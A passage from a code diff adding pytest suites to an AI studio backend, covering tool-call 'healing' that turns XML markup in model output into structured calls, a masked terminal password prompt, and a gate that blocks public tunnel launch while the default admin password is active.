+    def test_no_healing_means_verbatim_text(self):
+        from core.inference.anthropic_compat import AnthropicPassthroughEmitter
+
+        emitter = AnthropicPassthroughEmitter()  # enable_healing never called
+        events = self._events(
+            emitter,
+            [self._chunk(content = LOOKUP_XML), self._chunk(finish_reason = "stop")],
+        )
+        texts = [
+            e["delta"]["text"]
+            for e in events
+            if e.get("type") == "content_block_delta" and e["delta"]["type"] == "text_delta"
+        ]
+        assert "".join(texts) == LOOKUP_XML
+
+
+class TestAnthropicNonStreamingRoute:
+    async def _drive(
+        self,
+        monkeypatch,
+        bodies,
+        auto_heal = None,
+        tools = None,
+        tool_choice = "auto",
+    ):
+        import routes.inference as inf_mod
+        from routes.inference import _anthropic_passthrough_non_streaming
+
+        client = ScriptedClient(bodies)
+        monkeypatch.setattr(inf_mod, "nonstreaming_client", lambda: client)
+        response = await _anthropic_passthrough_non_streaming(
+            _llama_backend(),
+            [{"role": "user", "content": "hi"}],
+            tools if tools is not None else [LOOKUP_TOOL],
+            0.7,
+            0.95,
+            None,
+            256,
+            "msg_test",
+            "gguf",
+            tool_choice = tool_choice,
+            auto_heal_tool_calls = auto_heal,
+        )
+        return client, json.loads(response.body)
+
+    def test_promotes_xml_to_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(monkeypatch, [_upstream_message(LOOKUP_XML)])
+            (block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert block["name"] == "lookup"
+            assert block["input"] == {"q": "x"}
+            assert data["stop_reason"] == "tool_use"
+            assert not any(b["type"] == "text" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_opt_out_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(f"plan {LOOKUP_XML}")], auto_heal = False
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"  # XML stripped, nothing promoted
+
+        asyncio.run(_run())
+
+    def test_undeclared_tool_not_promoted(self, monkeypatch):
+        async def _run():
+            xml = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(xml)])
+            assert data["stop_reason"] == "end_turn"
+            assert not any(b["type"] == "tool_use" for b in data["content"])
+            # Healing preserves what it does not promote: the undeclared call
+            # reaches the client as text instead of being silently stripped.
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert text_block["text"] == xml
+
+        asyncio.run(_run())
+
+    def test_mixed_undeclared_text_preserved_after_heal(self, monkeypatch):
+        async def _run():
+            # Declared call promoted to tool_use; the undeclared call's markup
+            # stays in the text block (the legacy strip must not run after a
+            # span-exact heal), matching the OpenAI passthrough.
+            rogue = '<tool_call>{"name":"rogue","arguments":{}}</tool_call>'
+            _, data = await self._drive(monkeypatch, [_upstream_message(f"{LOOKUP_XML} {rogue}")])
+            (tool_block,) = [b for b in data["content"] if b["type"] == "tool_use"]
+            assert tool_block["name"] == "lookup"
+            (text_block,) = [b for b in data["content"] if b["type"] == "text"]
+            assert rogue in text_block["text"]
+            assert data["stop_reason"] == "tool_use"
+
+        asyncio.run(_run())
+
+    def test_length_beats_tool_use(self, monkeypatch):
+        async def _run():
+            _, data = await self._drive(
+                monkeypatch, [_upstream_message(LOOKUP_XML, finish_reason = "length")]
+            )
+            assert data["stop_reason"] == "max_tokens"
+            assert any(b["type"] == "tool_use" for b in data["content"])
+
+        asyncio.run(_run())
+
+    def test_tool_choice_none_keeps_legacy_strip(self, monkeypatch):
+        async def _run():
+            # Anthropic {"type": "none"} arrives here converted to "none":
+            # the request forbade tool calls, so nothing is promoted and the
+            # legacy XML strip applies as before healing existed.
+            _, data = await self._drive(
+                monkeypatch,
+                [_upstream_message(f"plan {LOOKUP_XML}")],
+                tool_choice = "none",
+            )
+            assert data["stop_reason"] == "end_turn"
+            (block,) = data["content"]
+            assert block["type"] == "text"
+            assert block["text"] == "plan"
+
+        asyncio.run(_run())
+
+
+class TestOpenaiStreamingRoute:
+    def test_heals_streamed_xml(self, monkeypatch):
+        async def _run():
+            pieces = ["<tool_call>", '{"name":"lookup",', '"arguments":{"q":"x"}}', "</tool_call>"]
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":[{"index":0,"delta":{"content":%s}}]}'
+                % json.dumps(p)
+                for p in pieces
+            ]
+            lines += [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["function"]["name"] == "lookup"
+            assert json.loads(call["function"]["arguments"]) == {"q": "x"}
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+            # None of the XML leaked as visible content.
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert "<tool_call>" not in text
+            assert chunks[-1] == "data: [DONE]\n\n"
+
+        asyncio.run(_run())
+
+    def test_parallel_cap_drops_native_after_healed(self, monkeypatch):
+        async def _run():
+            # parallel_tool_calls=false: a healed call consumed the single
+            # allowed slot, and the upstream SSE cap keeps native index 0, so
+            # the route must drop the later native call itself.
+            xml = '<tool_call>{"name":"lookup","arguments":{"q":"x"}}</tool_call>'
+            native = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                'data: {"id":"c1","model":"gguf","created":1,"choices":'
+                '[{"index":0,"delta":{"content":%s}}]}' % json.dumps(xml),
+                native,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(parallel_tool_calls = False), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            (call,) = tool_deltas
+            assert call["id"] == "call_0"  # the healed call; native was dropped
+
+        asyncio.run(_run())
+
+    def test_false_alarm_text_flushes(self, monkeypatch):
+        async def _run():
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"use the <div> tag"}}]}',
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"stop"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            text = "".join(
+                (c.get("delta") or {}).get("content") or ""
+                for p in payloads
+                for c in p.get("choices", [])
+            )
+            assert text == "use the <div> tag"
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["stop"]
+
+        asyncio.run(_run())
+
+    def test_incomplete_xml_healed_at_done(self, monkeypatch):
+        async def _run():
+            # No close tag and no finish chunk: healed at the [DONE] boundary,
+            # synthetic finish must say tool_calls.
+            lines = [
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"content":"<tool_call>{\\"name\\":\\"lookup\\",\\"arguments\\":{}}"}}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            payloads = _stream_payloads(chunks)
+            tool_deltas = [
+                tc
+                for p in payloads
+                for c in p.get("choices", [])
+                for tc in (c.get("delta") or {}).get("tool_calls") or []
+            ]
+            assert len(tool_deltas) == 1
+            finishes = [
+                c["finish_reason"]
+                for p in payloads
+                for c in p.get("choices", [])
+                if c.get("finish_reason")
+            ]
+            assert finishes == ["tool_calls"]
+
+        asyncio.run(_run())
+
+    def test_structured_upstream_calls_relay_verbatim(self, monkeypatch):
+        async def _run():
+            line = (
+                'data: {"id":"c1","choices":[{"index":0,"delta":{"tool_calls":'
+                '[{"index":0,"id":"call_up","type":"function","function":'
+                '{"name":"lookup","arguments":"{}"}}]}}]}'
+            )
+            lines = [
+                line,
+                'data: {"id":"c1","choices":[{"index":0,"delta":{},"finish_reason":"tool_calls"}]}',
+                "data: [DONE]",
+            ]
+            chunks = await _drive_stream(monkeypatch, _payload(), lines)
+            assert chunks[0] == line + "\n\n"  # byte-for-byte relay
+
+        asyncio.run(_run())
+
+
+class TestHealerSignalAlignment:
+    """The passthrough healer buffers only formats its parser can promote.
+    The loops' bare [ARGS] rehearsal signal is gated on active tool names
+    there; ungated in the healer it would stall legitimate prose until
+    finalization without ever producing a promotable call."""
+
+    def test_heal_signals_are_promotable_formats_only(self):
+        from core.inference.passthrough_healing import _HEAL_SIGNALS
+        assert set(_HEAL_SIGNALS) == {
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "[TOOL_CALLS]",
+            "<|content_invoke_tool_json|>",
+        }
+
+    def test_prose_with_bare_args_marker_streams_through(self):
+        healer = StreamToolCallHealer({"Bash"})
+        chunks = [
+            "Use the pattern foo",
+            "[ARGS] in templates when calling tools, ",
+            "and remember to close it.",
+        ]
+        streamed = ""
+        for chunk in chunks:
+            streamed += _events_text(healer.feed(chunk))
+        # Incremental relay: nothing withheld for finalize.
+        assert streamed == "".join(chunks)
+        final = healer.finalize()
+        assert not _events_calls(final)
+        assert not healer.healed
+
+    def test_bracket_tool_calls_still_promote_in_stream(self):
+        healer = StreamToolCallHealer({"web_search"})
+        events = healer.feed('[TOOL_CALLS]web_search{"query": "unsloth docs"}') + healer.finalize()
+        (call,) = _events_calls(events)
+        assert call["function"]["name"] == "web_search"
+        assert healer.healed
diff --git a/studio/backend/tests/test_password_prompt.py b/studio/backend/tests/test_password_prompt.py
new file mode 100644
index 0000000000..372d6a2aa4
--- /dev/null
+++ b/studio/backend/tests/test_password_prompt.py
@@ -0,0 +1,324 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Masked terminal password prompt (auth/terminal_prompt.py): reader echo and
+editing, the change loop's validation/re-prompt behavior, and the pure
+should-prompt gate. Drives the reader through a scripted fake getch, so no
+tty (and no msvcrt on Linux) is needed."""
+
+from __future__ import annotations
+
+import io
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from auth import terminal_prompt as tp  # noqa: E402
+
+
+def _fake_getch(keys):
+    """Scripted keystroke source: yields one item per _getch() call. Items may
+    be multi-char strings to simulate a paste burst arriving in one read."""
+    it = iter(keys)
+
+    def getch():
+        return next(it)
+
+    return getch
+
+
+def _read(
+    monkeypatch,
+    keys,
+    prompt = "P: ",
+):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(keys))
+    out = io.StringIO()
+    value = tp._read_password(prompt, out = out)
+    return value, out.getvalue()
+
+
+# ── _read_password ───────────────────────────────────────────────────
+
+
+def test_reader_echoes_one_star_per_char(monkeypatch):
+    value, out = _read(monkeypatch, list("secret") + ["\r"])
+    assert value == "secret"
+    assert out.count("*") == 6
+    assert "secret" not in out
+
+
+def test_reader_backspace_edits_and_erases_star(monkeypatch):
+    value, out = _read(monkeypatch, list("abc") + ["\x7f"] + list("d") + ["\n"])
+    assert value == "abd"
+    assert "\b \b" in out
+    # 4 stars were printed (a, b, c, d); one was erased.
+    assert out.count("*") == 4
+
+
+def test_reader_backspace_on_empty_buffer_is_noop(monkeypatch):
+    value, out = _read(monkeypatch, ["\x08", "\x7f"] + list("x") + ["\r"])
+    assert value == "x"
+    assert "\b \b" not in out
+
+
+def test_reader_paste_burst_delivers_all_chars(monkeypatch):
+    # A paste can arrive as one multi-char read; every char must count.
+    value, out = _read(monkeypatch, ["pasted-secret", "\r"])
+    assert value == "pasted-secret"
+    assert out.count("*") == len("pasted-secret")
+
+
+def test_reader_unicode_password(monkeypatch):
+    value, _ = _read(monkeypatch, list("pässwörd✓") + ["\r"])
+    assert value == "pässwörd✓"
+
+
+def test_reader_ignores_other_control_chars(monkeypatch):
+    value, _ = _read(monkeypatch, ["\t", "\x1b"] + list("ok") + ["\r"])
+    assert value == "ok"
+
+
+def test_reader_ctrl_c_raises_keyboard_interrupt(monkeypatch):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(list("ab") + ["\x03"]))
+    with pytest.raises(KeyboardInterrupt):
+        tp._read_password("P: ", out = io.StringIO())
+
+
+def test_reader_ctrl_d_on_empty_raises_eof(monkeypatch):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(["\x04"]))
+    with pytest.raises(EOFError):
+        tp._read_password("P: ", out = io.StringIO())
+
+
+def test_reader_ctrl_d_mid_input_is_ignored(monkeypatch):
+    value, _ = _read(monkeypatch, list("ab") + ["\x04"] + list("c") + ["\r"])
+    assert value == "abc"
+
+
+def test_reader_windows_key_prefix_is_ignored(monkeypatch):
+    # _getch_windows reports swallowed function-key sequences as "\x00".
+    value, _ = _read(monkeypatch, ["\x00"] + list("w") + ["\r"])
+    assert value == "w"
+
+
+def test_reader_holds_raw_mode_once_for_whole_line(monkeypatch):
+    # Regression: cbreak/no-echo must be held for the ENTIRE line, not toggled
+    # per keystroke. Re-enabling echo between reads opens a window where a
+    # keystroke arriving in the gap echoes the password in cleartext. Assert the
+    # raw-mode context wraps the whole read exactly once and every keystroke is
+    # read while it is active.
+    events = []
+
+    class _SpyRawMode:
+        def __enter__(self):
+            events.append("enter")
+            return self
+
+        def __exit__(self, *exc):
+            events.append("exit")
+            return False
+
+    monkeypatch.setattr(tp, "_prompt_raw_mode", _SpyRawMode)
+
+    src = _fake_getch(list("s3cr3t!!") + ["\r"])
+
+    def _getch_recording():
+        assert events and events[-1] == "enter", "keystroke read outside raw mode"
+        return src()
+
+    monkeypatch.setattr(tp, "_getch", _getch_recording)
+    value = tp._read_password("P: ", out = io.StringIO())
+    assert value == "s3cr3t!!"
+    assert events == ["enter", "exit"]
+
+
+# ── prompt_for_password_change ───────────────────────────────────────
+
+
+def _run_loop(
+    monkeypatch,
+    keys,
+    *,
+    min_length = 8,
+    current = "bootstrap-pw",
+):
+    monkeypatch.setattr(tp, "_getch", _fake_getch(keys))
+    out = io.StringIO()
+    applied = []
+    ok = tp.prompt_for_password_change(
+        min_length = min_length,
+        is_current_password = lambda pw: pw == current,
+        apply_change = applied.append,
+        out = out,
+    )
+    return ok, applied, out.getvalue()
+
+
+def _keys(*lines):
+    keys = []
+    for line in lines:
+        keys.extend(list(line))
+        keys.append("\r")
+    return keys
+
+
+def test_loop_success_applies_once(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, _keys("new-password", "new-password"))
+    assert ok is True
+    assert applied == ["new-password"]
+    assert "Password updated" in out
+    assert "new-password" not in out
+
+
+def test_loop_short_password_reprompts(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, _keys("short", "long-enough-pw", "long-enough-pw"))
+    assert ok is True
+    assert applied == ["long-enough-pw"]
+    assert "at least 8 characters" in out
+
+
+def test_loop_rejects_current_password(monkeypatch):
+    ok, applied, out = _run_loop(
+        monkeypatch, _keys("bootstrap-pw", "fresh-password", "fresh-password")
+    )
+    assert ok is True
+    assert applied == ["fresh-password"]
+    assert "must differ" in out
+
+
+def test_loop_mismatch_reprompts_then_succeeds(monkeypatch):
+    ok, applied, out = _run_loop(
+        monkeypatch,
+        _keys("first-attempt", "typo-attempt", "second-attempt", "second-attempt"),
+    )
+    assert ok is True
+    assert applied == ["second-attempt"]
+    assert "do not match" in out
+
+
+def test_loop_ctrl_c_aborts_without_applying(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, list("ab") + ["\x03"])
+    assert ok is False
+    assert applied == []
+    assert "aborted" in out
+
+
+def test_loop_eof_aborts_without_applying(monkeypatch):
+    ok, applied, out = _run_loop(monkeypatch, ["\x04"])
+    assert ok is False
+    assert applied == []
+    assert "aborted" in out
+
+
+def test_loop_ctrl_c_at_confirmation_aborts(monkeypatch):
+    ok, applied, _ = _run_loop(monkeypatch, _keys("valid-password") + ["\x03"])
+    assert ok is False
+    assert applied == []
+
+
+def test_loop_min_length_counts_code_points(monkeypatch):
+    # 8 unicode code points must pass a min_length of 8.
+    pw = "pässwörd"
+    assert len(pw) == 8
+    ok, applied, _ = _run_loop(monkeypatch, _keys(pw, pw))
+    assert ok is True
+    assert applied == [pw]
+
+
+# ── should_prompt_password_change ────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "tunnel,requires,stdin_tty,stderr_tty,expected",
+    [
+        (True, True, True, True, True),
+        (False, True, True, True, False),  # tunnel not starting (loopback no-op)
+        (True, False, True, True, False),  # password already changed
+        (True, True, False, True, False),  # piped stdin (headless)
+        (True, True, True, False, False),  # redirected stderr
+        (False, False, False, False, False),
+    ],
+)
+def test_should_prompt_matrix(tunnel, requires, stdin_tty, stderr_tty, expected):
+    assert (
+        tp.should_prompt_password_change(
+            tunnel_will_start = tunnel,
+            requires_change = requires,
+            stdin_isatty = stdin_tty,
+            stderr_isatty = stderr_tty,
+        )
+        is expected
+    )
+
+
+def test_stream_eof_aborts_instead_of_submitting(monkeypatch):
+    # A dead stream ("" from _getch, e.g. a closed pty) must abort the line,
+    # never silently submit the partial password typed so far.
+    import io
+
+    err = io.StringIO()
+    monkeypatch.setattr(tp, "_getch", _fake_getch(list("abc") + [""]))
+    with pytest.raises(EOFError):
+        tp._read_password("New password: ", out = err)
+
+
+# ── resolve_supplied_password: non-interactive --password / env / stdin ──
+
+
+def test_resolve_supplied_password_literal_value_and_note(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    out = io.StringIO()
+    assert tp.resolve_supplied_password("hunter2pw", out = out) == "hunter2pw"
+    # A literal value warns that it is visible in the process list / history.
+    assert "process list" in out.getvalue()
+
+
+def test_resolve_supplied_password_stdin(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    monkeypatch.setattr(sys, "stdin", io.StringIO("from-stdin-pw\n"))
+    assert tp.resolve_supplied_password("-") == "from-stdin-pw"
+
+
+def test_resolve_supplied_password_stdin_empty_is_none(monkeypatch):
+    import io
+
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    monkeypatch.setattr(sys, "stdin", io.StringIO(""))
+    assert tp.resolve_supplied_password("-") is None
+
+
+def test_resolve_supplied_password_env(monkeypatch):
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    assert tp.resolve_supplied_password("") == "env-secret-pw"
+    assert tp.resolve_supplied_password(None) == "env-secret-pw"
+
+
+def test_resolve_supplied_password_literal_beats_env(monkeypatch):
+    import io
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    assert tp.resolve_supplied_password("cli-wins-pw", out = io.StringIO()) == "cli-wins-pw"
+
+
+def test_resolve_supplied_password_stdin_beats_env(monkeypatch):
+    # `--password -` reads stdin and short-circuits, so a set env var does not win.
+    import io
+
+    monkeypatch.setenv(tp.SUPPLIED_PASSWORD_ENV, "env-secret-pw")
+    monkeypatch.setattr(sys, "stdin", io.StringIO("stdin-wins-pw\n"))
+    assert tp.resolve_supplied_password("-") == "stdin-wins-pw"
+
+
+def test_resolve_supplied_password_off_by_default(monkeypatch):
+    monkeypatch.delenv(tp.SUPPLIED_PASSWORD_ENV, raising = False)
+    assert tp.resolve_supplied_password("") is None
+    assert tp.resolve_supplied_password(None) is None
diff --git a/studio/backend/tests/test_password_prompt_backstop.py b/studio/backend/tests/test_password_prompt_backstop.py
new file mode 100644
index 0000000000..597eac1625
--- /dev/null
+++ b/studio/backend/tests/test_password_prompt_backstop.py
@@ -0,0 +1,405 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Pre-tunnel terminal password gate: never publish a public Cloudflare URL
+while the seeded default admin password is active. Imports run.py directly,
+so run under the Studio venv."""
+
+from __future__ import annotations
+
+import io
+import re
+import sys
+from pathlib import Path
+
+import pytest
+
+_BACKEND = Path(__file__).resolve().parents[1]
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+import run  # noqa: E402
+from auth import storage as auth_storage  # noqa: E402
+from auth import terminal_prompt  # noqa: E402
+from auth.terminal_prompt import should_prompt_password_change  # noqa: E402
+
+_GATE_KWARGS = dict(
+    host = "127.0.0.1",
+    secure = True,
+    api_only = False,
+    frontend_served = True,
+)
+
+
+# ── pure decision matrix ─────────────────────────────────────────────
+
+
+@pytest.mark.parametrize(
+    "tunnel_will_start,requires_change,stdin_isatty,stderr_isatty,expected",
+    [
+        (True, True, True, True, True),
+        # Any missing precondition suppresses the prompt.
+        (False, True, True, True, False),
+        (True, False, True, True, False),
+        (True, True, False, True, False),
+        (True, True, True, False, False),
+        (False, False, False, False, False),
+    ],
+)
+def test_should_prompt_matrix(
+    tunnel_will_start, requires_change, stdin_isatty, stderr_isatty, expected
+):
+    assert (
+        should_prompt_password_change(
+            tunnel_will_start = tunnel_will_start,
+            requires_change = requires_change,
+            stdin_isatty = stdin_isatty,
+            stderr_isatty = stderr_isatty,
+        )
+        is expected
+    )
+
+
+# ── _terminal_password_gate unit tests ───────────────────────────────
+
+
+class _Stream(io.StringIO):
+    def __init__(self, isatty: bool):
+        super().__init__()
+        self._isatty = isatty
+
+    def isatty(self) -> bool:
+        return self._isatty
+
+
+class _BrokenStream(io.StringIO):
+    """Service-wrapper stand-in whose isatty() raises (closed stdin)."""
+
+    def isatty(self) -> bool:
+        raise ValueError("I/O operation on closed file")
+
+
+def _patch_streams(monkeypatch, *, tty: bool) -> _Stream:
+    stderr = _Stream(isatty = tty)
+    monkeypatch.setattr(sys, "stdin", _Stream(isatty = tty))
+    monkeypatch.setattr(sys, "stderr", stderr)
+    return stderr
+
+
+def _patch_seeded_admin(monkeypatch, *, requires_change: bool) -> None:
+    # The gate seeds the admin row itself (it can run before lifespan startup);
+    # tests fake both the seeding no-op and the flag.
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", lambda: False)
+    monkeypatch.setattr(auth_storage, "requires_password_change", lambda u: requires_change)
+
+
+def test_gate_skips_when_tunnel_off(monkeypatch):
+    # Short-circuits before touching auth storage at all.
+    def _boom(*a, **k):
+        raise AssertionError("storage must not be consulted when the tunnel is off")
+
+    monkeypatch.setattr(auth_storage, "requires_password_change", _boom)
+    monkeypatch.setattr(auth_storage, "ensure_default_admin", _boom)
+    assert run._terminal_password_gate(tunnel_will_start = False, **_GATE_KWARGS) == (True, False)
+
+
+def test_gate_skips_when_password_already_changed(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
+    _patch_seeded_admin(monkeypatch, requires_change = False)
+    monkeypatch.setattr(
+        terminal_prompt,
+        "prompt_for_password_change",
+        lambda **k: pytest.fail("prompt must not run when no change is required"),
+    )
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, False)
+
+
+def test_gate_warns_and_proceeds_without_tty_when_deadline_arms(monkeypatch):
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    monkeypatch.setattr(
+        terminal_prompt,
+        "prompt_for_password_change",
+        lambda **k: pytest.fail("prompt must not run without a tty"),
+    )
+    # Proceeds, but the public HTML must not auto-fill the default credential.
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+    out = stderr.getvalue()
+    assert "default admin password is still active" in out
+    assert "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT" in out
+    # The seeded file may already be gone (the CLI parent deletes it before
+    # re-exec), so the warning must point at the reset-password recovery path
+    # instead of promising a file to read.
+    assert "reset-password" in out
+    assert ".bootstrap_password" not in out
+
+
+def test_gate_fails_closed_without_tty_when_deadline_cannot_arm(monkeypatch):
+    # api-only launches never arm the bootstrap deadline, so a headless public
+    # launch with the default password has NO safeguard: refuse to start.
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    kwargs = dict(_GATE_KWARGS)
+    kwargs["api_only"] = True
+    kwargs["frontend_served"] = False
+    assert run._terminal_password_gate(tunnel_will_start = True, **kwargs) == (False, False)
+    assert "Refusing to publish" in stderr.getvalue()
+
+
+def test_gate_fails_closed_without_tty_when_deadline_disabled(monkeypatch):
+    stderr = _patch_streams(monkeypatch, tty = False)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "0")
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False)
+    assert "Refusing to publish" in stderr.getvalue()
+
+
+def test_gate_treats_broken_streams_as_non_interactive(monkeypatch):
+    # A closed/None stdin must take the headless path, not blow up.
+    stderr = _Stream(isatty = False)
+    monkeypatch.setattr(sys, "stdin", _BrokenStream())
+    monkeypatch.setattr(sys, "stderr", stderr)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+
+
+def test_gate_refusal_fails_closed(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", lambda **k: False)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (False, False)
+
+
+def test_gate_success_applies_route_equivalent_change(monkeypatch):
+    _patch_streams(monkeypatch, tty = True)
+    calls = []
+    _patch_seeded_admin(monkeypatch, requires_change = True)
+    monkeypatch.setattr(
+        auth_storage,
+        "get_user_and_secret",
+        lambda u: ("salt", "hash", "jwt", True),
+    )
+    monkeypatch.setattr(
+        auth_storage,
+        "update_password",
+        lambda u, p, **kw: calls.append(("update", u, p, kw)),
+    )
+
+    def _fake_prompt(*, min_length, is_current_password, apply_change, out):
+        # The gate wires the policy constant and route-equivalent apply hook.
+        assert min_length == auth_storage.MIN_PASSWORD_LENGTH
+        # Wired to the real hash comparison: a wrong guess is rejected.
+        assert is_current_password("wrong-guess") is False
+        apply_change("brand-new-password")
+        return True
+
+    monkeypatch.setattr(terminal_prompt, "prompt_for_password_change", _fake_prompt)
+    assert run._terminal_password_gate(tunnel_will_start = True, **_GATE_KWARGS) == (True, True)
+    admin = auth_storage.DEFAULT_ADMIN_USERNAME
+    # One atomic call: refresh tokens revoked in the same transaction as the
+    # password commit (a separable follow-up delete can fail and leave a
+    # pre-change refresh token able to mint access tokens).
+    assert calls == [("update", admin, "brand-new-password", {"revoke_refresh_tokens": True})]
+
+
+# ── ordering inside run_server (source-level, repo convention) ───────
+
+
+def test_gate_runs_before_server_bind_in_source():
+    # The gate must run before the uvicorn socket binds: on a wildcard bind
+    # the served HTML injects the bootstrap credential for first login, so a
+    # pre-gate listener would hand out the default password mid-prompt.
+    src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    gate_call = src.index("_pw_proceed, _pw_drop_bootstrap = _terminal_password_gate(")
+    thread_start = src.index("thread.start()")
+    tunnel_start = src.index("_cloudflare_url = start_studio_tunnel(port)")
+    assert gate_call < thread_start < tunnel_start
+    # The fail-closed branch exits before any server exists.
+    refusal = src[gate_call:thread_start]
+    assert "sys.exit(1)" in refusal
+
+
+def test_min_password_length_single_source():
+    # models/auth.py must reference the storage constant, not a literal.
+    models_src = (_BACKEND / "models" / "auth.py").read_text(encoding = "utf-8")
+    assert "MIN_PASSWORD_LENGTH" in models_src
+    assert not re.search(r"min_length\s*=\s*8\b", models_src)
+    assert auth_storage.MIN_PASSWORD_LENGTH == 8
+
+
+def test_lifespan_honors_bootstrap_suppression_in_source():
+    # The lifespan runs AFTER the gate and re-reads the bootstrap password
+    # into app.state; without the suppress flag it would overwrite the gate's
+    # None and the public HTML would inject the default credential again.
+    main_src = (_BACKEND / "main.py").read_text(encoding = "utf-8")
+    assert "suppress_bootstrap_injection" in main_src
+    # Every lifespan capture of the bootstrap password must be flag-guarded.
+    for line in main_src.splitlines():
+        if "storage.get_bootstrap_password()" in line and "=" in line:
+            assert "_suppress_bootstrap" in line, line
+    run_src = (_BACKEND / "run.py").read_text(encoding = "utf-8")
+    assert "app.state.suppress_bootstrap_injection = True" in run_src
+
+
+def test_clear_bootstrap_password_truncates_when_unlink_fails(monkeypatch, tmp_path):
+    # If the file cannot be unlinked (Windows AV / read-only auth dir), clear must
+    # truncate it so its stale plaintext cannot be re-seeded by
+    # generate_bootstrap_password() after a later reset-password deletes auth.db,
+    # which would re-validate the revoked bootstrap password.
+    import pathlib
+
+    pw_path = tmp_path / ".bootstrap_password"
+    pw_path.write_text("old-diceware-passphrase")
+    monkeypatch.setattr(auth_storage, "_BOOTSTRAP_PW_PATH", pw_path)
+    monkeypatch.setattr(auth_storage, "_bootstrap_password", "old-diceware-passphrase")
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom(self, *a, **k):
